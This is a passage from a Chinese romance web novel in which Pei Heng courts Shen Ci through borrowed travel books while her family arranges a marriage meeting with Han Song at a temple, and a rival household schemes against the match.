沈瓷还以为是什么大事,见是簪子的事情倒也没怎么居功,“是珍宝阁的师傅手艺过人。” 一句话,将这感谢轻轻巧巧的化解。 裴珩的眼中染上了点点笑意,这倒是一个意料之外的答案。 “无论如何,都要多谢沈姑娘。”裴珩又一次道谢,旁人只当裴珩多礼,但唯有裴珩自己知晓,他多说几句感谢的话,便又有了赠送回礼的机会。 裴姝原本坐在裴珩和沈瓷的中间就觉得自己很碍事,这会儿觉得自己更碍事了,有些地方就算是硬着头皮也是没法坐的,裴姝便借着去倒酒的机会偷偷的溜走,坐在了楚映梦的身边。 并非她不愿和沈姐姐挨着坐,只是她哥哥的存在感实在是太强,她这么杵在中间,保不齐就要被兄长记恨。 裴姝心虚,就拎着酒壶给左邻右舍倒酒。 楚映梦今儿个一直没有说话,在偷偷的观察表哥,担心被表哥察觉便举着酒杯佯装喝酒。 她一直都觉得表哥的态度有一些奇怪,今日一见仿佛更加奇怪了。 楚映梦和裴姝坐在一块儿,一个比一个心虚,一个倒酒一个喝酒,配合的无比默契,等到俩人反应过来,楚映梦已不知不觉喝了大半的酒。 裴姝:“……” 她这是把表姐给灌醉了? 楚映梦端着一杯酒要喝不喝的,纠结了好一会儿,还是一口干了,所谓酒壮怂人胆,楚二姑娘喝了酒之后,胆子也大了不少,竟然能坐到裴珩的身边,问他同韩嵩熟不熟悉。 她并没有问裴珩认不认识,这样的废话,楚二姑娘觉得没什么必要,只不过因为母亲就要约韩夫人见面,以至于他们几人的心情都很低落。 来的路上楚映梦也曾问过沈瓷,这事儿能不能在表哥的面前提及,沈瓷信得过裴珩的为人,便没反对。 实则按照她们的关系,这事儿本没什么隐瞒的必要。 只是沈瓷自觉和裴珩并不熟悉,才不会刻意提及。 有了沈瓷的首肯,加上她这会儿多喝了几杯,自然胆子大得不得了。 裴珩听见这话,神色有些不大好看,裴姝的神色不比她哥好多少,她抬眸看向表姐,一时间竟不知是不是自己很快就要多一个盟友。 裴姝抓心挠肺,差点儿惊呼出声,好歹还有些理智,让她生生的克制住了。 尚不确定,再仔细的观察才是! 其余三人的态度倒是好猜,压根什么都不知道,只是傻愣愣的看着裴珩,期待他能说出个一二三四五来。 裴珩看了一眼楚映梦,在心里默默的叹了一口气,也不知表妹究竟和自己什么仇什么怨,非要他回答这么吃力不讨好的问题。 裴珩并不想在沈瓷面前说韩嵩不好,也不想再沈瓷的面前说他的好,他得尽量的客观。 但对于如今的裴珩而言,客观才是最难的一件事。 “不算太了解,没有太多的交集。”裴珩轻声开口,说了一个公事公办的答案,但楚映梦好似很失望。 嘟嘟囔囔的看向他,“是吗?” “自是如此。”裴珩原本是不了解的,但这些日子着人打听之后,也能说出个一二来,韩嵩的确学识不差,若一直勤勉上进,下一回科举,定能蟾宫折桂。 只是这样的夸赞让裴珩如何说得出口? 尤其还是当着沈瓷的面。 多余的话裴珩没有再说,沈瓷也没有问,至于旁人问起,裴珩就会搪塞过去,楚映梦喝了几杯酒有点儿呆呆的,也不知裴珩说的话能否让她满意。 楚修筠几人只担心她多喝了几杯酒会头晕,忙让丫鬟再去煮一些醒酒茶来。 反而是裴姝,今儿个尤其忙碌,时不时的看看这一个,又时不时的看看另一个,她像是又发现了什么秘密,只不过这个秘密她并不能确定,到底是真的还是假的,偏偏表姐这会儿还喝醉了,搞得她抓心挠肺。 “表姐?你可还好?”沈瓷见楚映梦脸色陀红心中甚是担忧,忍不住的多问了几句。 偏偏楚映梦硬气的很,冲着沈瓷摇了摇头,“我没事。” 一般说自己没事的人,基本都是有事的。 “我没有喝醉。” 一般说自己没醉的,基本都已经醉了。 沈瓷:“……” 这可要怎么办才好? “表姐?表姐?”沈瓷低声的唤人,楚映梦听见沈瓷的声音,自然而然的靠在了沈瓷的肩上,将身体的大部分重量全部都压了上去,沈瓷自然是护着她的。 “阿瓷。” “嗯,我在这里。”沈瓷好脾气的应着,“表姐,我扶你去屋里歇一歇可好?” “没事。”楚映梦有点儿晕乎乎的,但她还能知道自己是谁,也知道自己面前的人是谁,对她而言就已经够了,“阿瓷…阿瓷…” 沈瓷不知道表姐为 什么要这般固执的念着自己的名字,这对于沈瓷而言,是很新奇的体验,她觉得心中暖暖的,楚映梦一声一声的喊着,沈瓷一句一句的应着。 姐妹俩都觉得没有什么问题,却酸了三个人的眼。 楚思怡气呼呼的要过来分开两人,若非楚映梦这会儿晕乎乎的,楚思怡那是半点都不肯妥协的,裴姝也想腻歪在沈瓷的身边。 但她心虚,谁让她方才一不小心将人给灌醉的。 至于裴珩,自从知晓沈瓷要和韩嵩议亲以来,他的心就是酸的,这么多日子,一直都没有好过。 沈瓷本想哄着表姐睡一会儿,偏偏表姐一点儿要歇息的迹象都没有,她不再缠着沈瓷之后,情况却也没有太好,时不时的跟这个人说话,又时不时的问一些奇奇怪怪的问题。 几乎所有人都被迫害了一遍。 弄得其余几人忍不住的失笑。 他们还从来都没有见过楚映梦这般模样。 永宁侯府今日热热闹闹的,他们远离了喧嚣,却也依旧热闹,裴姝看着眼前的这一幕也忍不住的笑了起来,她看着周围的几人,只觉得这样的日子很是幸福。 若是… 她下意识的看了一眼哥哥,又看了一眼沈瓷,心中有了一个不切实际的念头,她开始默默的期盼着重阳的到来。 等到九月初九家中祭祖的时候,裴姝想,她一定要好好的求一求祖宗,让他们在天之灵可以保佑哥哥能够得偿所愿。 午膳过后,他们来到了堂屋坐下歇息,因着是在裴姝的院子,倒也没有什么人会来约束规矩,几人便没有太过在意。 楚映梦的酒还没有醒,这会儿话还有一些多。 醒酒茶已经喝下,但一时半会儿不会起效。 楚修筠看着这样的妹妹忍不住的笑了起来,“婶婶一直都说映梦和思怡不太像,这样看来倒是像了个十成十。” 此话一出,所有人都忍不住的笑了起来。 只不过他们到底有些头疼,原本只是楚思怡一个人吵吵嚷嚷的,这会儿却有了两个。 偏偏喝醉的人还不能跟她讲道理,只能哄着。 这一回裴珩坐在了沈瓷的边上,二人之间只隔着一张小几,裴珩早早的注意到沈瓷今日戴的是他送的发簪。 他便忍不住的想起自己头上的簪子,也是沈瓷送的。 有一种难以言喻的情绪在心中悄悄的蔓延,裴珩心中划过一丝喜悦,可他面上却丝毫没有显露。 裴珩的心中有很多的话想要说,可无论说什么,都有些不合时宜,他能够问的,能够说的,少之又少。 到最后还是问起了游记来。 就连裴珩自己都觉得自己无趣极了,乏味可陈,每一回见面能问说的也只有这些,他明明是不想这般的。 可谁曾想沈瓷却很高兴,她告诉裴珩她昨日看到了神龟怪谈,因为知道了许多,所以看书的时候并不觉得晦涩难懂,反而愈发的有趣。 “可是瞧见了什么有趣的?能否与我说说?”裴珩也来了兴致,细细的问了起来。 家中表姐和思怡都不喜欢这些,沈瓷也没能和谁讨论,如今裴珩主动问起,沈瓷只当是在交流读书心得,她高兴之余,话就多了起来。 裴珩总是很耐心的倾听,时不时的补充几句,不仅仅是给她解惑,还告诉了她不少神话传说,但凡他自己知晓的,便毫无保留的告知。 听的其余几人都忍不住的安静下来。 谈话间,裴珩得知沈瓷将那些游记看完了。 他浅浅的一笑,“我这里倒是还有一些孤本,沈姑娘若是喜欢不若先借给你。” 沈瓷听见这话第一反应是不可思议,“孤本…太过贵重了些,不若还是算了…” 她并没有夺人所好的想法,何况那些还是孤本,要是弄坏了根本就赔不起。 裴珩原本想说这些游记和怪谈,倒也不算稀奇,可见到沈瓷这般模样,他的心中倒是有了一个更好的主意。 “若沈姑娘觉得孤本不妥,我这里倒是有一些誊抄本。”裴珩说起这话的时候没有丝毫的心虚。 至于誊抄本在什么地方? 他一会儿回去誊抄,不就有了吗? 沈瓷愣愣的看向裴珩,她有一些想拒绝,却实在是好奇哪些游记说的是什么故事,纠结许久还是没能忍住诱惑。 “若裴世子方便的话…”沈瓷的声音又轻又淡,却带着隐隐的期待。 裴珩忍不住的浅浅笑起,同沈瓷说好过几日让景澄带给她。 沈瓷轻轻的点头,道了一声好。 等到回府的时候,她才后知后觉的反应过来,她似乎和一个人有了约定,并且还在心中隐隐的期待了起来。 当真是,神奇的体验。 第38章 第38章(修)她对未来的夫婿并没有…… 楚映梦在回府的途中,酒就醒了,她这会儿坐在马车里头回忆起自己说过的话,只恨不得找个地洞钻下去。 她有些哀怨的看着妹妹们,“你们俩怎么也不拦着我些?” 沈瓷有些愧疚,但楚思怡是半点愧疚都没有,听见姐姐这么说就忍不住开口呛她,“我们怎么没拦着你?表姐都问了你好几次要不要去歇一歇,你当时六亲不认的,我们就算想要拦着也拦不住。” “我…”楚映梦想同楚思怡理论几句,但她根本没有什么立场,只能气恼的瞪着她。 偏楚思怡半点不怵她。 楚映梦这会儿只能安慰自己,好在她没有说什么不该说的话,若不然她当真不知日后要怎么面对表哥他们。 也正是因为这件事,让楚映梦错过了去看裴姝的发簪,她根本没有机会知晓阿瓷的发簪是不是最特别的,好在楚映梦也没有过多的纠结,她想着总还有机会可以确认。 她因为今天的事情实在太耿耿于怀,一路上脸色几经变化,即便回到家中也没能冷静下来,一会儿想着表哥他们会怎么笑话她,一会儿又在想自己当时究竟是什么模样,越想越恼,忍不住拿手捂住自己的脸。 就在楚映梦正在想入非非的时候,门房却送来了永宁侯府的回礼,照旧是一个首饰匣子,楚映梦认出那是珍宝阁的匣子,她接过后就毫不犹豫的打开,映入眼帘的是一支金灿灿的发簪,做成镂空的工艺,华丽又漂亮… 只是上头的样式,还是牡丹。 楚映梦将发簪拿在手中,只觉得有一些奇怪。 她本以为只有自己的如此,最终发现沈瓷和楚思怡的也都是牡丹。 这是她们几人拿到的第二支牡丹发簪。 “这回礼究竟是谁选的,大家都一样吗?”楚映梦有些纳闷。 但谁也回答不了她的问题,楚思怡压根没觉得这簪子有什么问题,她只要有礼物收,就都是开心的。 沈瓷根本不知这簪子是裴珩特意送来的,还以为就是普通的回礼,也没怎么当一回事。 三人里头唯有楚映梦心神不宁想入非非,她抓心挠肺的想要知晓表哥的心思,偏偏根本无从知晓,毫无头绪。 楚映梦抓心挠肺,却还是只能安慰自己来日方长,转眼几天过去。 到了裴氏和韩夫人见面的日子,两位夫人见了面,也没有假惺惺的说什么多余的话,对于一些事,彼此都心知肚明。 韩夫人和裴氏相谈甚欢,约好了下月初一块儿去青莲寺烧香。 等到韩夫人走后,楚映梦就拉着沈瓷鬼鬼祟祟的摸到了正院,沈瓷原本是不想来的,但根本拗不过表姐,只能随着她一起过来。 裴氏瞧见她们俩之后亲切的招呼人到自己的身边坐,“你们来的正好,我正好想让张嬷嬷去找你们。” 二人依次坐在了裴氏身边。 楚映梦看向沈瓷,示意沈瓷问些什么,偏偏沈瓷不在状态,什么都没想着问。 她只能自己上,“阿娘,韩夫人可是回府了?” 裴氏微微颔首。 楚映梦看了看母亲,又看了看表妹,支支吾吾的开始追问今日和韩夫人会面可还 顺利。 “自是顺利的。”裴氏见楚映梦满脸的纠结,倒也没有要卖关子的意思,同她们俩说起下月初要去青莲寺烧香的事儿。 “我已与韩夫人约定好了日子,到了哪一日,你们仨就随我一同去烧香。”裴氏笑着开口。 楚映梦终于得到了想要的答案,可她的模样却没见得有多么的高兴,同母亲寒暄了几句,就带着沈瓷一块儿告辞。 裴氏看着楚映梦那心浮气躁的模样,忍不住的同张嬷嬷一块儿看热闹,“我瞧着阿瓷和映梦的模样,只觉得分外有趣,要议亲的人全无心思,反而是映梦着急上火。” 张嬷嬷听见这话也忍不住的笑起,“想当初我们二姑娘自个儿议亲的时候,根本就不着急,依奴婢愚见,二姑娘会这般还是因为担心表姑娘。” “是呀。”裴氏并非不知孩子们的感情,可当真正直面的时候依旧感慨,“她们姊妹三人的感情一向极好,我自是欣慰的。” “若不是因为阿瓷,映梦如何愿意操这个心?” 裴氏乐得见她们姊妹感情和睦,但她心中隐隐还有一些担心,丈夫前几日和她透露大伯年末应当能携家眷一道回京,府上的大姑娘就要回来,也不知她们几个能不能和睦相处。 “夫人今日见了韩夫人,心中可还算满意?”张嬷嬷明知故问,她知道裴氏一定是满意的,若不然也不会约韩夫人一道去青莲寺。 只是张嬷嬷需要找个借口说话。 “韩夫人倒是同众人说的那样,是个平易近人的。”裴氏同韩氏今日才第一次见面,许多的事情也不知真假,毕竟人的性情最难琢磨,唯有长长久久的相处才能够窥见一二。 即便裴氏觉得韩夫人不错,但也不能保证她不是个会磋磨媳妇的恶婆婆。 “且再看一看。”裴氏并没有太过于纠结,她想的是让沈瓷和韩嵩见一面,若外甥女觉得可以,她们大人再商议之后的事情。 “倘若阿瓷对韩嵩无意,我们就另选。”裴氏对给沈瓷议亲这件事很是上心,只是架不住沈瓷淡淡的态度。 她到底有些摸不准。 倒是张嬷嬷半点儿不忧心,还劝主子放宽心,“表姑娘是个有成算的,夫人只管放宽心就好。” “表姑娘素来表里如一,既说了让夫人做主,想来心中就是那般想的,夫人若是不信岂不是辜负了表姑娘的心意?” “你说的是。”裴氏微微颔首,脸上露出了浅浅的笑容。 又同张嬷嬷说起城东的铺子,“我瞧着地段不错,入手了几间,倒时候给三个丫头当嫁妆,让她们可以多些体己傍身。” “夫人用心良苦…” 主仆俩便又细细的商议起铺子来。 沈瓷随着表姐一块儿离开正院,楚映梦拉着她的手回到自己的住处,在折腾了几日之后,楚二姑娘终于记起自己是个待嫁新娘的事儿,开始努力的绣着嫁衣。 但她的心依旧是不静的,绣了几针就忍不住问起沈瓷来,“阿瓷,母亲约了韩夫人下月初去青莲寺,估摸着到时候就能见着韩嵩,你心里头可有紧张?” 沈瓷正坐在一旁绕线,听见表姐这话倒也没有敷衍,很是认真的想了想,她说不清楚自己心中的情绪,便也没有要欺瞒,只是如实的开口,“我不太清楚。” 沈瓷对男女之情并没有那么多的期待,韩嵩对她而言,只不过是一个舅母选中的议亲对象,就算不是她,也会是张公子,李公子。 对此并无差别。 “不太清楚?”楚映梦听见这话忍不住的睁大了眼睛,“阿瓷,你就一点期待都没有吗?” “就算不是韩嵩,你难道也不期待未来的夫婿?” 沈瓷似乎也觉得自己的回答太过于离谱,开始给自己找补,“也许见着人之后就知道是什么感觉。” 如今凭空的想象,实在是太为难自己。 楚映梦隐隐觉得有什么不对劲,可还没她想明白,楚思怡就跑了进来,她自然也听说了母亲的打算,但这会儿过来可不是来问韩嵩的事情,只是想问姐姐们去青莲寺的那一日要穿什么衣裳。 在楚思怡的心里没有什么比出去玩来的高兴。 即便她已经知晓去青莲寺不过是一个幌子。 她尚且年幼,并没有那么多担忧,那日听哥哥们和姐姐那般反对,心中认为这事儿多半成不了,去青莲寺不过是走个过场。 转头就将这事儿给忘了。 “还有七八日,等临近时间再决定也来得及。”沈瓷温柔的安慰着表妹,楚思怡开开心心的点头,问表姐去青莲寺烧香要多久。 “若只需要半日,我们能不能约上裴姝一块儿去游船?好不容易天气凉爽了些,表姐,我想去坐船。”楚思怡拉着沈瓷的手不住的晃悠。 沈瓷倒是很想答应表妹,但烧香这个事儿,她自己也不清楚。 来金陵这几年,她除了去寺庙给父母点过长明灯,从未去烧香拜佛,对这些知之甚少。 “母亲尚未明说,但想来半日光景足够,你若真的想去游船,将夫子前些日子布置的课业完成,我就去和母亲商议,准你出去玩。”楚映梦这会儿很有大姐姐的风范。 三两句话就将楚思怡给安抚住。 楚思怡听到了想要的答复也不和姐姐顶嘴,开始无端端的献殷勤,软软的腻歪过来,“姐姐真好,姐姐我和表姐帮你一块儿绕线。” 楚映梦看着她墙头草一般的行径,忍不住的在心里在心里翻了个白眼,嫌弃的将人推远了些。 原本的话题就这么悄无声息的偏了去。 沈瓷对此并不在意,可楚映梦却没法不在意,她开始算计着时间,更是特意将此事透露给两位哥哥,指望着两位哥哥透露给表哥。 虽说楚映梦知晓,但凡裴姝知道了,表哥十之八九也会知道。 可楚二姑娘不想冒一点点的险。 即便她这会儿还没有很清楚的意识到自己到底想做什么。 姑娘家凑在一块儿,总有无数的话可以说,裴姝收到邀请之后,心中的想法也和楚思怡别无二致,一直思索着那日究竟要穿什么衣裳出门,才不会觉得突兀。 裴姝不想太特别,也不想和姐妹们不一样。 楚思怡总算遇到了一个懂她的人,高高兴兴的和裴姝写信讨论起来。 沈瓷和楚映梦并未参与其中,沈瓷原本就对这些并不怎么上心,通常都是配合着表姐和表妹,楚映梦和沈瓷的情况不一样,若是从前她肯定也会加入讨论,甚至还会想着怎么打扮妹妹们。 可如今大姐姐的心里只有表妹的婚事。 这件事儿占据了楚映梦所有的思绪,其他的事儿自然顾不上,就连未婚夫都有些顾不上,为此季衍十分的哀怨。 楚修筠和楚景澄当然是和楚映梦站在同一边,月初的时候恰好书院休沐,楚景澄和楚修筠因为买了那金贵的砚台,本想着要在家中安然度过。 但显然计划赶不上变化,兄弟二人一致觉得还是这件事儿更要紧些。 至于思怡说的游船。 兄弟俩面面相觑,想起自己那空空如也的荷包,一时之间说不出任何的话来。 但楚景澄脸皮厚,他愁了一会儿就不再发愁,“映梦和阿瓷都有钱,她们三个人,我们两个,她们人多,让她们付。” 楚修筠:“……” 他目瞪口呆的看着弟弟,心说这样的话说出来,他难不成就半点都不心虚? “景澄…”楚修筠忍不住的出声喊他,试图和他讲道理,“你是哥哥…花妹妹们的银子,是不是有些不大合适?” 楚景澄如今兜比脸的还要干净,哪里还顾得上这些? 他捂着耳朵开始掩耳盗铃,“哥,要不你就 当不知道吧。” 楚修筠:“……” 他也想当做不知道,但实在是做不出这种事。 楚景澄虽然想那么做,但好歹还记得自己是哥哥,于是楚景澄就将主意打到了裴珩的身上,他打算邀请表哥一道去,好歹得找个人来付船租。 裴珩实则早已经知晓姑母和韩夫人之间的打算,月初正好是他休沐的日子,便是楚景澄不相邀,他也会想法子一块儿去。 他同样也知道协律郎府上的打算,只是韩夫人打算先和姑母见面?再去见协律郎府上的四姑娘? 瞧瞧哪一个更好,哪一个更合适? 想法倒是挺好的,但凡事哪有那么想当然? “将韩家要和忠毅伯府议亲的消息透露给孟家。” “再将韩家要和孟家议亲的消息透露给季衍。” 未来的表妹夫最近还在京城,也是要办点事儿才行,裴珩冷静吩咐着,心中冷笑不已,协律郎孟坤不是很看好这个韩嵩吗? 既然这般看好,那就将人好好看着,莫要让他出来祸害人才是。 吩咐完长鸣之后,裴珩书房的灯又一连几日的亮了大半宿。 他既答应要给沈瓷誊抄本,便不能食言。 然而做戏也要做全套,墨痕太新也容易被人看出来。 裴珩仔细计算着书架上的这些游记数量,默默的计算着还能送几会,算完之后又开始想着是否要去皇城的藏书阁一趟。 * 时间过得很快,转眼就到了月初,沈瓷和楚映梦穿上了裴姝和楚思怡一致商议出来的同色衣裳,坐上了前往青莲寺的马车。 因着和主持提前打过招呼,今日青莲寺的香客并没有很多。 沈瓷即便知晓今日是来做什么的,但到了佛前依旧恭恭敬敬的焚香叩拜,并无半点焦急之色。 她敬畏神佛,可心中却到底没了信仰。 昔年她在佛前虔诚叩拜,父母依旧离她而去,她知这是意外,但到底意难平,那是留在她心底的伤痕,想不得,碰不得。 只要一碰就会鲜血淋漓。 楚思怡和楚映梦去求了签,询问沈瓷要不要一起去。 却没想到一向合群的沈瓷却笑着拒绝,“表姐,思怡,我不求签。” 沈瓷不想被签文困扰,平添诸多的烦恼。 楚映梦和楚思怡当然不会勉强她,姐妹俩高高兴兴的求了签去找签文。 这时候张嬷嬷快步走到了沈瓷的身边,请她到夫人的身边去。 裴氏和韩夫人约定今日让两个孩子见一面,裴氏的心思很简单,她不求沈瓷能多么喜欢韩嵩,可至少未来的夫婿总不能令人生厌。 沈瓷到的时候,韩夫人和韩嵩已经在了,她跟在张嬷嬷的身后,出现在几人的面前。 礼数周到的行礼。 这是韩夫人头一回见到沈瓷,见到她第一眼的时候,韩夫人只觉得这姑娘长得特别漂亮,容貌太甚,让人见了就移不开视线。 只是韩夫人见沈瓷身量单薄,觉得沈瓷太过瘦弱,担心她有什么不足之症。 裴氏招呼沈瓷坐到自己的身边,开始同沈瓷介绍起韩嵩来。 沈瓷见过韩嵩的画像,自然能清晰的将人认出来,她的态度没有什么改变,只是冷静的打招呼。 倒是韩嵩,有一些呆呆的,好一会儿才回过神来,“沈姑娘。” 沈瓷缓缓点头,算是回礼。 二人坐在各自的长辈身边,也没有什么机会说话,多是两位长辈说话的,他二人偶尔回应一句。 沈瓷看似在发呆,听得倒是认真。 可韩嵩就不一样,他瞧着认真,但心思早已不知飘到什么地方去了。 沈瓷的态度很平和,不见半点浮躁,韩夫人看着她忍不住的点了点头,倒是个好性子的孩子。 韩嵩就愈发的安静了,只是最后的最后,他鬼使神差的问了沈瓷一句最近在念什么书。 沈瓷有些奇怪,但这问题倒不算冒犯,她便认真的答了,“和姊妹们一块儿念书,夫子最近正在教四书。” 实则她更喜欢看的是游记,但这些事她并不想告诉一个才见了一面的人。 今日不过初见,一切都还没有什么定数,裴氏自然不会让沈瓷和韩嵩单独相处,待目的达成之后,就带着沈瓷和韩夫人母子告辞。 等到人走远了,韩夫人才起身,看向韩嵩淡淡道:“我们也回吧。” 韩嵩搀扶着母亲往外走,虽瞧着同没事人一样,可知子莫若母,韩夫人如何不知儿子的态度? 这般魂不守舍,多半是上了心。 忠毅伯府的马车率先离开了青莲寺。 裴氏还要回府中处理庶务,沈瓷她们三人则去了酒楼同哥哥们汇合,等着裴珩兄妹俩过来。 她们租的游船是在午后,这会子想着先填饱肚子。 楚景澄握着空空的荷包,同妹妹再三确认这一顿不用他出银子之后,才敢大模大样的点菜。 楚修筠忍不住的摁住了额头,面上多是尴尬之色。 不多时裴珩带着裴姝一起出现,原本他们俩应该早就到了,谁知临出门的时候,裴姝却想起没有带荷包又折返了回去,这才晚了些。 人到齐之后,菜恰好也上齐。 楚景澄当属最激动的一个,要知道他已经连续大半个月没有好好的下一次馆子,这会儿自然是要吃够本的。 楚修筠忍不住在一旁劝。 裴珩记挂着要送沈瓷书籍,早早的将准备好的誊抄本垒成一摞交给她,“书房里堆积着太多的书,我公务繁忙暂时没有什么时间整理书架,只找出了这些。” 裴珩语气淡淡,却颇有些此地无银。 那一摞书一共有七八本,实则裴世子分外努力,他书架上那些孤本游记已经誊抄好了大半,他挑挑拣拣,选了这么些,并非裴珩不舍得,只是他不想那么一股脑儿全部带出来。 他想有更多的借口可以见到沈瓷。 “裴世子公务这般繁忙,就不用操心这些。”沈瓷不愿麻烦裴珩,尤其是听说裴珩还为此特意的整理了书架,就愈发的过意不去。 裴珩原本就是找了个借口,见沈瓷误会便不动声色的给自己描补,“架子上一直就有许多书籍,我原本也是要收拾的,却一直没有机会,长鸣笨手笨脚的交给他我也不放心,如今倒是个极好的机会,沈姑娘不必介怀。” 裴珩说的有理有据,且半点都没有为难。 沈瓷到底是信了。 她捧着那些书,浅浅的道了一声谢。 裴珩从不知晓原来自己还可以这般的容易满足,只要一句道谢,一个笑容,他就能够欣喜许久。 只是他心中有了贪念,想要和她有越来越多的交集,“这些游记是我早年看过的,如今也已记不太清,修筠和景澄都不大喜欢,我也一直没有找到同好…” “沈姑娘若是瞧见什么有趣的,倒也可以同我说说,也许还能有不同的感悟。” 裴珩想,他到底还是贪心的。 并不满足只当她表哥的表哥。 第39章 第39章(改)但凡没有定亲,就一定…… 午膳过后,他们定好的游船也如约而至,几人登上游船后便各自找了位置坐下。 金陵最负盛名的秦淮河,古往今来不知有多少的文人墨客在这里留下千古名句。 每逢佳节庆典,秦淮河也一定是热热闹闹的,河上处处都是好风光,随便一处的风景都是美如画,只不过他们几个人根本就没有吟诗作对的兴趣,只是三三两两的坐在一块儿欣赏沿途的风景。 日头渐渐西沉,裴珩大多数的时候是坐在一旁听众人说话,从只言片语当中,他知晓了沈瓷今日和姑母一起去了青莲寺。 而据裴珩所知,今日韩夫人和韩嵩也去了青莲寺。 同样的巧合凑在一起就不是巧合。 他知晓两家长辈会面会商议何事。 裴珩将手中的杯子捏的死紧,他垂下眼眸敛去了眼中所有的情绪,明明并不 想听到这些,可偏偏要强迫自己听。 听到最后,愈发的不耐。 等回到永宁侯府的时候,他便借口要处理公务去了书房,为此永宁候夫人还特意的差人来询问,被裴珩几句话给打发了。 屋子里很安静,没有任何人会来打扰裴珩,但他的心却一点儿也安静不了。 他知道自己在意什么,也知道自己为何不悦。 偏偏口不能言。 裴珩摁住自己的头颅,微微的闭上眼睛,将所有的情绪藏于其中,许久之后才睁开眼。 等到冷静下来之后,便吩咐长鸣去打听协律郎府上的消息,孟坤的四女儿喜欢韩嵩,这孟四姑娘虽然是庶出,却是孟坤最疼爱的女儿,她知晓这件事之后,想来许多事就不会那么容易。 * 事情也正如裴珩所预料的那般,协律郎府上因为这件事情吵得不可开交,孟坤听见这消息的时候正在侧院孙姨娘处吃点心,这孙姨娘不是别人,正是那孟四姑娘的生母。 这会子两人正郎情妾意的喝着茶,忽听下人禀告,说是韩家要与忠毅伯府的表姑娘定亲,今日约在青莲寺相见。 “什么?!”孟坤怒不可遏,“韩家好大的胆子。” 明明已经与他们有了默契,竟然还有别的想法。 “老爷,这忠毅伯府那样的高门大户也要同韩家公子定亲?”孙姨娘有些疑惑的问道。 “你有所不知,那不是正经的伯府千金,而是前平江节度使沈毅的遗孤,沈毅的夫人楚氏是忠毅伯府的大姑奶奶,前些年夫妇俩双双遇难,楚家便将这唯一的孩子给带了回来养在身边,如今也到了要议亲的年纪。”孟坤对着爱妾到底还有几分真心,耐着性子同她解释。 孙姨娘听罢之后撇了撇嘴,不屑道:“不过一个孤女罢了,我还当是什么真凤凰呢。” “虽说不是真凤凰,但到底背靠忠毅伯府,只怕是…”孟坤的话都还没有说完,门房便送来了消息,说韩夫人这些日子都不得空。 若孟家不知今日的消息,也不会将韩夫人说的话放在心上,可此番知晓这事之后,韩夫人的反应就显得有些耐人寻味起来。 “不得空?”孙姨娘皱起眉头,“难不成是韩家真的想要同那孤女结亲?特意回绝了我们家?” 孙姨娘的声音不小,恰巧被跑过来的孟靖淑听了个正着。 “爹,姨娘,你们方才在说什么?韩嵩要和旁人定亲?”孟靖淑失声惊叫起来,“怎么可能?怎么会有这样的事?爹爹,您不是答应过我,会让我嫁给心仪之人的吗?” 协律郎府上顿时乱作一团,孟靖淑吵着闹着要孟坤给她一个说法,孟坤如今连韩嵩的人都没有见着,如何给得了说法。 至于孙姨娘,她笼统就生了那么一个女儿,疼的跟眼珠子似得,见不得那女儿受一点点的委屈,孟靖淑眼泪都还没有掉一滴,她就开始劝起来了,“莫哭莫哭,这事儿你爹爹一定会给你一个交代。” “即便你爹爹不给你想法子,娘也会给你想法子的。” 孙姨娘眸光一闪,给身边嬷嬷使了个眼色,嬷嬷会意立刻出门寻人去了。 孟家和韩家这件事,是韩嵩的舅母刘氏牵的线,韩嵩过了孝期之后,刘氏就知晓弟妹想要给韩嵩议亲,她本是不欲管这件事的,谁让孟家直接找上了她,让她帮忙牵线,说是事成之后少不了她的好处。 为了让刘氏安心办事,甚至还给了五两银子的定金。 刘氏摸到那块银子,喜上眉梢,从此不遗余力的在弟妹的面前说起那孟家姑娘的好来。 好不容易事情有了好大的进展,更是喜不胜收,开始做起美梦来,算计着能从孟家哪儿得到多少好处,谁知银子没等着,竟等着了孟府来人。 孙姨娘的贴身嬷嬷将这事儿说给刘氏听,让刘氏务必弄清楚是怎么一回事。 刘氏一听这话只觉得天都要塌了,也顾不得快到饭点,立刻就去韩家找了弟妹。 她一进门连水都来不及喝,直接将事问了出来,“弟妹,我怎么听说嵩儿要和旁人定亲?” “嫂嫂?”韩夫人闻言只觉得有些诧异,这件事知道的人其实并不多,她其实是瞒着嫂子的,竟不知嫂子是从何得知的。 韩夫人将心中的疑问问了出来,结果立刘氏压根不想回答,“你别管我是怎么知道的,我只问你是不是有这么一回事。” “…的确。”韩夫人不善扯谎,听嫂嫂这么一说也就认下了,将事情大致说了一番。 刘氏一听果真确有其事,立刻开口说话,“弟妹你糊涂啊,那算什么好亲事,你别瞧着人家是伯府,可那毕竟不是伯府真千金,不过一个落魄孤女,人家指不定是嫌弃她在府上吃干饭,才要将人给打发走的。” “应当不是这般。”韩夫人小声反驳,“今日我见过楚家二夫人,瞧着很是面善,待沈姑娘也是极好。” “所谓知人知面不知心,你又如何知晓不是她们装模作样给你看的?”刘氏说的煞有其事,韩夫人一时间也有些拿不定主意。 “这…” “但孟家四姑娘可不一样,那是人家嫡亲的闺女,在府上备受宠爱,孟家的四姑娘,可是真心喜欢嵩哥儿的,孟大人更是正经的朝廷命官,嵩哥儿当了他的女婿还愁日后老丈人不提携?” “那孤女父母都已经不在,如今寄居在人家府上,人家发发善心给口饭吃,难不成你还指望着他们日后能提携嵩儿?”刘氏见弟妹有所松动,便又再接再厉的劝说,“倒时候会有不少人戳嵩儿的脊梁骨,说他攀上高枝,但事实如何又有谁知晓?他们家有自己的女儿,就是要提携也提携正经女婿。” 刘氏说的话字字句句都扎进韩夫人的心里,韩夫人的脸色明显犹豫起来。 是夜,韩夫人同韩嵩提及协律郎的四姑娘,她有意让韩嵩见一见人,韩嵩起初并没有在意,只是耐着性子解释,“母亲,我们白日不是已经说好了,将此事回绝。” 韩夫人原本是要依着韩嵩的意思,可今日嫂嫂说的那番话让她犹豫起来,“还是见一见的好。” “母亲,我心中已经有所决定,这件事情还是不要再提。”韩嵩觉得母亲今日有些奇怪,仔细询问才知原是舅母来过了,和孟家的亲事也是舅母牵的线。 他稍一想想就知道是怎么回事,“可是舅母同您说了什么?” 韩夫人没有瞒着,将今日刘氏说的话悉数说了出来,韩嵩听罢皱起了眉头,“母亲,我原本也从未想过要依靠岳家提携。” 韩夫人看着韩嵩,眼中闪过诸多的心疼,她知韩嵩对沈瓷上了心,对于韩嵩的想法,她虽未明说,可眼中尽是不赞同。 “母亲可是对沈姑娘不满?”韩嵩问的小心,韩夫人深深的叹了一口气,心中愈颇有些无奈,明明只见过一回。 是何缘由,韩夫人心中其实有所猜测,“吾儿,容颜易老,娶妻当娶贤。” 